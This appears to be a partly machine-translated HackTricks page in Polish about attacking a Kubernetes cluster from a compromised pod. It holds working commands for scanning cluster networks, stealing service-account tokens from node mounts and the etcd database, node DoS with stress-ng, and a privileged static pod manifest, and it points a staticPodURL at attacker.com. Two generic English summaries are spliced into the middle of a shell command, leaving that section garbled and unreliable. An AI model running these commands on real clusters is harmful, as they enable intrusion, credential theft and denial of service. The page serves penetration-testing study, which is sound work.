Attacking Kubernetes from inside a Pod

Wesprzyj HackTricks

Ucieczka z PoDa

Jeśli masz szczęście, możesz próbować uciec z niego do węzła:

Ucieczka z PoDa

Aby spróbować uciec z PoDa, możesz najpierw potrzebować eskaluować uprawnienia, oto kilka technik, jak to zrobić:

Możesz sprawdzić te przejścia dockerowe, aby spróbować uciec z zainfekowanego PoDa:

Nadużywanie Uprawnień Kubernetes

Jak wyjaśniono w sekcji dotyczącej enumeracji kubernetes:

Kubernetes Enumeration

Zazwyczaj PoDy są uruchamiane z tokenem konta usługi wewnątrz nich. To konto usługi może mieć przypisane pewne uprawnienia, których możesz nadużyć, aby przenieść się do innych PoDów lub nawet uciec do skonfigurowanych w klastrze węzłów. Sprawdź jak to zrobić:

Abusing Roles/ClusterRoles in Kubernetes

Nadużywanie Uprawnień Chmurowych

Jeśli PoD jest uruchamiany wewnątrz środowiska chmurowego, możesz być w stanie wyciek tokena z punktu końcowego metadanych i eskalować uprawnienia, korzystając z niego.

Wyszukiwanie podatnych usług sieciowych

Jako że jesteś w środowisku Kubernetesa, jeśli nie możesz eskalować uprawnień nadużywając obecnych uprawnień PoDów i nie możesz uciec z kontenera, powinieneś szukać potencjalnie podatnych usług.

Usługi

W tym celu możesz spróbować uzyskać wszystkie usługi środowiska kubernetes:

kubectl get svc --all-namespaces

Domyślnie Kubernetes używa płaskiego schematu sieciowego, co oznacza, że każdy pod/usługa w klastrze może rozmawiać z innymi. Przestrzenie nazw wewnątrz klastra nie mają domyślnie żadnych ograniczeń związanych z bezpieczeństwem sieciowym. Każdy w przestrzeni nazw może rozmawiać z innymi przestrzeniami nazw.

Skanowanie

Następujący skrypt Bash (pochodzący z warsztatów Kubernetes) zainstaluje i zeskanuje zakresy IP klastra Kubernetes:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Zajrzyj na następującą stronę, aby dowiedzieć się, jak możesz zaatakować specyficzne usługi Kubernetes w celu skompromitowania innych modułów/wszystkiego w środowisku:

Pentesting Kubernetes Services

Podsłuchiwanie

W przypadku, gdy skompromitowany pod uruchamia wrażliwą usługę, do której inne moduły muszą uwierzytelnić, możesz uzyskać dane uwierzytelniające wysyłane z innych modułów, przechwytując lokalne komunikacje.

Podrobienie sieci

Domyślnie techniki takie jak podrobienie ARP (i dzięki temu podrobienie DNS) działają w sieci Kubernetes. Następnie, wewnątrz poda, jeśli masz zdolność NET_RAW (która jest domyślnie dostępna), będziesz mógł wysyłać specjalnie spreparowane pakiety sieciowe i przeprowadzać ataki typu MitM poprzez podrobienie ARP na wszystkie moduły działające na tym samym węźle. Co więcej, jeśli złośliwy pod działa na tym samym węźle co serwer DNS, będziesz mógł przeprowadzić atak podrobienia DNS na wszystkie moduły w klastrze.

Kubernetes Network Attacks

DoS węzła

W manifestach Kubernetes nie ma określenia zasobów i nie są stosowane limity dla kontenerów. Jako atakujący, możemy zużyć wszystkie zasoby, na których działa pod/wdrożenie i wyczerpać inne zasoby, powodując DoS dla środowiska.

Można to zrobić za pomocą narzędzia takiego jak stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Możesz zobaczyć różnicę podczas uruchamiania stress-ng i po.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Post-Eksploatacja Węzła

Jeśli udało ci się uciec z kontenera, znajdziesz kilka interesujących rzeczy w węźle:

  • Proces Kontener Runtime (Docker)

  • Więcej pods/kontenerów działających w węźle, których można nadużyć (więcej tokenów)

  • Cały system plików i system operacyjny ogólnie

  • Usługa Kube-Proxy nasłuchująca

  • Usługa Kubelet nasłuchująca. Sprawdź pliki konfiguracyjne:

    • Katalog: /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • Inne wspólne pliki kubernetes:

    • $HOME/.kube/config - Konfiguracja Użytkownika

    • /etc/kubernetes/kubelet.conf- Standardowa Konfiguracja

    • /etc/kubernetes/bootstrap-kubelet.conf - Konfiguracja Rozruchowa

    • /etc/kubernetes/manifests/etcd.yaml - Konfiguracja etcd

    • /etc/kubernetes/pki - Klucz Kubernetes

Znajdź kubeconfig węzła

Jeśli nie możesz znaleźć pliku kubeconfig w jednej z wcześniej skomentowanych ścieżek, sprawdź argument --kubeconfig procesu kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Ukradnij sekrety

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Skrypt can-they.sh automatycznie pobierze tokeny innych modułów i sprawdzi, czy mają uprawnienie, którego szukasz (zamiast sprawdzania po kolei):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Przywilejowane DaemonSety

DaemonSet to pod, który będzie uruchamiany na wszystkich węzłach klastra. Dlatego jeśli DaemonSet jest skonfigurowany z uprzywilejowanym kontem usługi, na WSZYSTKICH węzłach będziesz mógł znaleźć token tego uprzywilejowanego konta usługi, który mógłbyś wykorzystać.

Wykorzystanie jest takie samo jak w poprzedniej sekcji, ale teraz nie zależysz od szczęścia.

Pivot do Chmury

Jeśli klaster jest zarządzany przez usługę chmurową, zazwyczaj Węzeł będzie miał inny dostęp do punktu końcowego metadanych niż Pod. Dlatego spróbuj uzyskać dostęp do punktu końcowego metadanych z węzła (lub z pod z hostNetwork ustawionym na True):

Kubernetes Pivoting to Clouds

Ukradnij etcd

Jeśli możesz określić nazwęWęzła Węzła, na którym zostanie uruchomiony kontener, uzyskaj powłokę wewnątrz węzła płaszczyzny kontrolnej i uzyskaj bazę danych etcd:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Węzły płaszczyzny kontrolnej mają rolę master i w zarządzanych klastrach w chmurze nie będzie można uruchomić na nich niczego.

Odczytaj tajemnice z etcd

Jeśli możesz uruchomić swój pod na węźle płaszczyzny kontrolnej, używając selektora nodeName w specyfikacji poda, możesz łatwo uzyskać dostęp do bazy danych etcd, która zawiera całą konfigurację klastra, w tym wszystkie tajemnice.

Poniżej znajduje się szybki i brudny sposób pobrania tajemnic z etcd, jeśli działa on na węźle płaszczyzny kontrolnej, na którym się znajdujesz. Jeśli chcesz bardziej eleganckie rozwiązanie, które uruchamia poda z narzędziem klienta etcd o nazwie etcdctl i używa poświadczeń węzła płaszczyzny kontrolnej do połączenia się z etcd, gdziekolwiek jest uruchomiony, sprawdź ten przykładowy manifest od @mauilion.

Sprawdź, czy etcd działa na węźle płaszczyzny kontrolnej i zobacz, gdzie znajduje się baza danych (To jest na klastrze utworzonym za pomocą kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
## Attacking Kubernetes from Inside a Pod

### Introduction

When an attacker gains access to a Kubernetes pod, either through a compromised container or by exploiting a vulnerability, they can leverage this access to further compromise the cluster. 

### Steps to Attack

1. **Pod Escape**: The attacker can attempt to break out of the pod and gain access to the host node. This can be achieved by exploiting misconfigurations or vulnerabilities in the Kubernetes environment.

2. **Privilege Escalation**: Once inside the pod, the attacker can attempt to escalate privileges to gain higher levels of access within the cluster.

3. **Lateral Movement**: After gaining a foothold in the cluster, the attacker can move laterally to other pods or nodes to expand their control and access sensitive data.

### Mitigation Techniques

- **Pod Security Policies**: Implementing Pod Security Policies can help restrict the actions that pods can perform, reducing the attack surface for potential intruders.

- **Network Policies**: Configuring network policies can limit the communication between pods, preventing attackers from moving laterally within the cluster.

- **RBAC**: Role-Based Access Control should be used to enforce the principle of least privilege, ensuring that each entity has the minimum permissions required to perform its tasks.

By understanding these attack vectors and implementing proper security measures, organizations can better protect their Kubernetes clusters from internal threats.
data-dir=/var/lib/etcd

Wyświetl dane w bazie danych etcd:

strings /var/lib/etcd/member/snap/db | less

Wyodrębnij tokeny z bazy danych i pokaż nazwę konta usługi

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

To samo polecenie, ale z dodatkowymi grepsami, aby zwrócić tylko domyślny token w przestrzeni nazw kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a Pod

### Introduction

When an attacker gains access to a Kubernetes pod, either through a compromised container or by exploiting a vulnerability, they can leverage this access to further compromise the cluster. This section explores various techniques that an attacker can use to escalate privileges and move laterally within a Kubernetes cluster from inside a pod.

### Privilege Escalation

#### Exploiting Misconfigured RBAC Roles

If the pod's service account has overly permissive Role-Based Access Control (RBAC) roles assigned, an attacker can abuse these privileges to perform unauthorized actions within the cluster. By exploiting misconfigured RBAC roles, an attacker can gain additional permissions and potentially take control of the entire cluster.

#### Accessing the Kubernetes API Server

Once inside a pod, an attacker can attempt to access the Kubernetes API server using tools like `kubectl` or by sending direct API requests. If successful, the attacker can interact with the API server to gather sensitive information, modify resources, or launch further attacks against the cluster.

### Lateral Movement

#### Pod Hopping

An attacker can move laterally within the cluster by compromising multiple pods. By exploiting vulnerabilities or misconfigurations in other pods, the attacker can pivot from one pod to another, gradually expanding their control and influence over the cluster.

#### Node Compromise

If an attacker gains access to a pod running on a node with extensive permissions, they can potentially compromise the entire node. By exploiting the privileged access of the compromised pod, the attacker can escalate their privileges to gain control over the underlying node, allowing for broader attacks against the cluster.

### Conclusion

Securing Kubernetes clusters requires not only protecting the external attack surface but also considering the potential threats that can originate from within a compromised pod. By understanding and mitigating these internal risks, organizations can enhance the overall security posture of their Kubernetes deployments.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Stała / Lustrzana Wytrwałość Podów

Pody statyczne są zarządzane bezpośrednio przez demona kubelet na określonym węźle, bez obserwowania ich przez serwer API. W przeciwieństwie do Podów zarządzanych przez płaszczyznę kontrolną (na przykład Deployment); zamiast tego, kubelet obserwuje każdy statyczny Pod (i restartuje go w przypadku awarii).

Dlatego pody statyczne zawsze są powiązane z jednym Kubeletem na określonym węźle.

Kubelet automatycznie próbuje utworzyć lustrzany Pod na serwerze API Kubernetes dla każdego statycznego Poda. Oznacza to, że Pody uruchomione na węźle są widoczne na serwerze API, ale nie można nimi sterować stamtąd. Nazwy Podów będą sufiksowane nazwą hosta węzła z wiodącym myślnikiem.

Spec statycznego Poda nie może odnosić się do innych obiektów API (np. ServiceAccount, ConfigMap, Secret, itp. Dlatego nie można nadużyć tego zachowania, aby uruchomić pod z dowolnym serviceAccount w bieżącym węźle w celu skompromitowania klastra. Ale można użyć tego do uruchamiania podów w różnych przestrzeniach nazw (jeśli jest to przydatne z jakiegoś powodu).

Jeśli jesteś wewnątrz hosta węzła, możesz sprawić, żeby utworzył statyczny pod wewnątrz siebie. Jest to dość przydatne, ponieważ może pozwolić ci utworzyć pod w innej przestrzeni nazw jak kube-system.

Aby utworzyć statyczny pod, dokumentacja jest bardzo pomocna. W zasadzie potrzebujesz 2 rzeczy:

  • Skonfiguruj parametr --pod-manifest-path=/etc/kubernetes/manifests w usłudze kubelet, lub w konfiguracji kubelet (staticPodPath) i zrestartuj usługę

  • Utwórz definicję w definicji poda w /etc/kubernetes/manifests

Innym, bardziej skrytym sposobem byłoby:

  • Zmodyfikuj parametr staticPodURL w pliku konfiguracyjnym kubelet i ustaw coś w rodzaju staticPodURL: http://attacker.com:8765/pod.yaml. Spowoduje to, że proces kubeletu utworzy statyczny pod, pobierając konfigurację z podanego adresu URL.

Przykład konfiguracji poda do utworzenia poda z uprawnieniami w kube-system zaczerpnięty z tutaj:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Usuwanie modułów + węzły nieskalowalne

Jeśli atakujący skompromituje węzeł i będzie mógł usunąć moduły z innych węzłów oraz sprawić, że inne węzły nie będą w stanie wykonywać modułów, moduły zostaną uruchomione ponownie na skompromitowanym węźle, co umożliwi mu ukradzenie tokenów uruchamianych w nich. Aby uzyskać więcej informacji, kliknij ten link.

Automatyczne narzędzia

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Wesprzyj HackTricks

Last updated